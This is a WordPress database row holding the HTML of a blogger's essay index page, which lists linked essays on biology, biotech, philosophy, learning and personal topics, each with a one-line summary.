(481,1,'2025-07-03 19:18:00','2025-07-03 19:18:00','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" 